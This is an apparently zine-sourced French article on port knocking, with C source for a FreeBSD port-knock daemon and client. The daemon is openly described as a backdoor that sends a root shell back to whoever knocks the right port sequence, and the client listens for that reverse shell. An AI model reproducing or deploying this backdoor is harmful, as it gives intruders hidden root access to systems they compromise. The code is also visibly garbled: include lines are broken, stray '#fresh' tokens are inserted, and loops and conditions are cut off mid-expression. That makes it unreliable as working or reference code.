Code en C d'un port Knocker.
"Imaginer une box, avec toute ses ports closed, qui sniff toute le incoming/outgoing traffic au raw socket level, et finalement regarde le destination port. En bref c'est ça. Quand un host trigger un nombre X de port dans un orde pre-determiné.bingo il est authentifie... la puissance de ce mécanisme réside
dans le nombre X de port" -- Phawky
[Extrait de mindkind 110] Aucune méthode d'authentification est infaible, que ça soit les tests
biometrique, genre ceux qui marche avec les empruntes digital, ou la retine...
ouaip les même que Wesley Snipes dejou dans demolition man en arrachant l'oeil
d'un gars. Ou les usernames/pass qui sont previsible, extrapolable, brute
forceable, voir même extorcable avec un regard méchant et un plunger a
toilette, bref you get the idea...
Le but de tout mécanisme d'authentification sophistiquer est de minimise le
plus possible la quantité de personne qui soit apte a contourner ce dernier. En
utilisant des contraintes; psychologique (exemple les cadenas que hacktoad
ouvre en .00001 secondes), physique (qui demande d'arracher l'oeil de
quelqu'un) ou au niveau du traitement/probabilité (Genre les private keys RSA).
Il y a une méthode plus ou moins nouvelle (ok binf, pas nouvelle pentoute...)
que wyzeman a effleure dans le dernier zine qui a sucite mon intérêt y'a plus
ou moins un ans, alors que je suis tomber par hasard sur le site de phenolite.
et que j'ai vu cd00r.c, leur port knocker backdoor.
Si vous s'avez pas c'est quoi un port knocker et que vous êtes des putains
de lopettes paresseuse (comme moi) je vais le résumer très vite: Imaginer
une box, avec toute ses ports closed, qui sniff toute le incoming/outgoing
traffic au raw socket level, et finalement regarde le destination port. En bref
c'est ça. Quand un host trigger un nombre X de port dans un orde
pre-determiné, bingo yer authentifier... la puissance de ce mécanisme réside
dans le nombre X de port. qui pourrait être 42 ou encore le nombre d'asiatique
sur terre, ça et le nombre de port qu'il y a sur une box, soit 2^16. Un
Rappelle sur les probabilité:
(2^16)^X = nombre de combinaison possible.
Je trouves ce système la, comme tel, déjà bon. Mais comme |R ma fait réalise
que si y'avait quelqu'un qui sniffait le traffic et que la port knock séquence
restait toujours la même, jme ferais fourrer comme une vierge saoule a un
after-graduation party. Il m'a donc, suggéré d'implémenter un truc similaire au
one-time-pass ( man skeys, si vous savez pas c'est quoi) que j'ai pas vraiment
eut le temps de finalise...que je nommes one-time- knock...wo0...original. Je
me sers de BPF dans mon code, mais ça devrait être plutôt facile a porter.
Treves de détails inutile, si vous voulez la base d'un port knocker daemon et
gosser avec ça vous aussi, durant une nuit, avec une bouteille de vodka, après
avoir été mal baiser, pour vous remonter le moral, voici le code server/client:
/*
Fbsd Portknock Daemon by phawnky
/
Based on cd00r.c by FX of phenoelit.de
/
This is a non listening connect-back rootshell dropping backdoor.
/ To trigger it, you just need to send SYN flagged packets to the host running this
on the port sequence you choose. Anything doing a connect() definatly would work,
/ but as an exercise I made a client for it: portknock-client.c
/ TODO:
- SENDER based hash table, containing which step is completed individually.
/ - Add One Time Knock support/list generation (credit goes to |R for the idea.)
- Mmmm...test it on fbsd 5.X
/ - Port it to linux
- Make an open-pam module of it
*/
#include stdio.h>
#include errno.h>
#include sys/types.h>
#include sys/time.h>
#include sys/ioctl.h>
#include netinet/in_systm.h>
#include net/bpf.h>
#include sys/socket.h>
#include net/if.h>
#include netinet/in.h>
#include netinet/ip.h>
#include netinet/tcp.h>
#include arpa/inet.h>
#include string.h>
#include fcntl.h>
#include unistd.h>
#include stdlib.h>
#include ifaddrs.h>
#include netdb.h>
#include signal.h>
// Configs
#define VERBOSE 1 // don't want any outputs? use 0
#define INTERFACE "ste0" // use your external interface for this.
#define CONBACK_PORT 4455 // connect back port...yeah
#define MAX_PORT 65535
#define SEQUENCE_LEN 10
// Prototypes
void connectback(char *dest, int port);
unsigned int **get_next_knock(int max, int num);
int main()
{
int i, fd, flag, n_read, bsize, cport, mport;
unsigned int offset = 0xe;
struct bpf_hdr *header;
struct ifreq ifr;
struct ip *iph;
struct tcphdr *tcph;
char *buf;
char device[sizeof "/dev/bpf0"];
char sender[sizeof "999.999.999.999"];
#fresh
unsigned int **knock;
// Root user check
if (getuid()) {
if (VERBOSE)
fprintf(stderr, "[-] You need root to snort like a man!
");#fresh
exit(-1);
}
// looking for an openable bpf.
for(i=0; i bh_hdrlen + offset);
// This is where the tests begins#fresh
if (iph->ip_v == 4 && iph->ip_p == 6) { // IPv4 && TCP/IP packet, look'n good.
tcph = (struct tcphdr *) (buf + header->bh_hdrlen + offset + (iph->ip_hlth_flags & TH_SYN) && // SYN is good
! (tcph->th_flags & TH_ACK) && // no ack
! (tcph->th_flags & TH_RST) && // no rst
! (tcph->th_flags & TH_URG) && // no urg
! (tcph->th_flags & TH_FIN)) { // no fin
if (htons(tcph->th_dport) == *knock[cport]) { // Port match
if (cport == 0)
strncpy(sender, inet_ntoa(iph->ip_src), sizeof(sender)-1);
// Making an hash table based on hosts
// Would make this MUCH more reliable.
if(strcmp(sender, inet_ntoa(iph->ip_src)) != 0) {
if (VERBOSE)
printf("[-] %s - Knock #%d [%d/%d] - Failed, Reseting
",
inet_ntoa(iph->ip_src), cport, htons(tcph->th_dport),knock[cport]);
cport = 0;
continue;
} else { // same sender
if (VERBOSE)
printf("[+] %s - Knock #%d [%d/%d] - Accepted
",
inet_ntoa(iph->ip_src), cport, htons(tcph->th_dport), *knock[cport]);
if (++cport == mport) { // end of knock sequence reached
cport = 0;
// Getting next knock sequence
free(knock);
knock = get_next_knock(MAX_PORT, SEQUENCE_LEN);
sleep(1);
// Dropping shell
connectback(inet_ntoa(iph->ip_src), CONBACK_PORT);
}
continue;
}
} else { // Port dosen't match
if (VERBOSE)
printf("[-] %s - Knock #%d [%d/%d] - Failed, Reseting
",
inet_ntoa(iph->ip_src), cport, htons(tcph->th_dport),*knock[cport]);
cport = 0;
continue;
}
} // Flag's test failed
} // IP version, or protocol type failed
} // read() didn't fail o_O
} // while(1)
} // main()
void
connectback(char *dest, int port)
{
struct sockaddr_in sin;
int s, i;
int pid;
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = inet_addr(dest);
s = socket(AF_INET, SOCK_STREAM, 0);
if (s
#include sys/socket.h>
#include netinet/in_systm.h>
#include netinet/in.h>
#include netinet/ip.h>
#include netinet/tcp.h>
#include unistd.h>
#include stdio.h>
#include string.h>
#include errno.h>
#define SRC_PORT 1337
#define CONBACK_PORT 4455
//Prototype
void usage(char *prog);
int listen_cb(int port);
int shell(int sockfd);
int main (int argc, char *argv[])
{
int s, i, pcount, one=1;
int *val = &one;
char datagram[4096];
char pseudohdr[1024];
struct ip *iph = (struct ip *) datagram;
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
struct sockaddr_in sin;
int tcphdr_size = sizeof(struct tcphdr);
if(argc 2; argc--)
pcount++;
for(i=0; i ip_hl = 5;
iph->ip_v = 4;
iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr);
iph->ip_id = htons(31337);
iph->ip_ttl = 250;
iph->ip_p = 6;
iph->ip_src.s_addr = INADDR_ANY;
iph->ip_dst.s_addr = sin.sin_addr.s_addr;
tcph->th_sport = htons(SRC_PORT);
tcph->th_dport = htons(atoi(argv[i+2]));
tcph->th_seq = htonl(31337);
tcph->th_off = sizeof(struct tcphdr)/4;
tcph->th_flags = TH_SYN;
tcph->th_win = htons(57344);
if (tcphdr_size % 4 != 0)
tcphdr_size = ((tcphdr_size % 4) + 1) * 4;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) ip_len,0,(struct sockaddr *) &sin, sizeof (sin)) %s:%d
", inet_ntoa(iph->ip_src.s_addr), SRC_PORT, argv[1], atoi(argv[i+2]));
} // for()
listen_cb(CONBACK_PORT);
}
void
usage(char *prog)
{
printf("Correct usage:
"
"--------------
"
"%s ...
", prog);
exit(-1);
}
int
listen_cb(int port)
{
struct sockaddr_in sout;
int s, client, sz_client;
bzero(&sout, sizeof(sout));
sout.sin_family = AF_INET;
sout.sin_addr.s_addr = INADDR_ANY;
sout.sin_port = htons(CONBACK_PORT);
s = socket(AF_INET, SOCK_STREAM, 0);
if (s 0) {
printf("[+] Got shell...dropping it!
");
shell(client);
}
return(0);
}
// Ripped from some dcom sploit, I already reinvented the wheel too much, for my own good.
int
shell(int sockfd)
{
char rb[1500];
fd_set fdreadme;
int i;
FD_ZERO(&fdreadme);
FD_SET(sockfd, &fdreadme);
FD_SET(0, &fdreadme);
while(1)
{
FD_SET(sockfd, &fdreadme);
FD_SET(0, &fdreadme);
if(select(FD_SETSIZE, &fdreadme, NULL, NULL, NULL)
|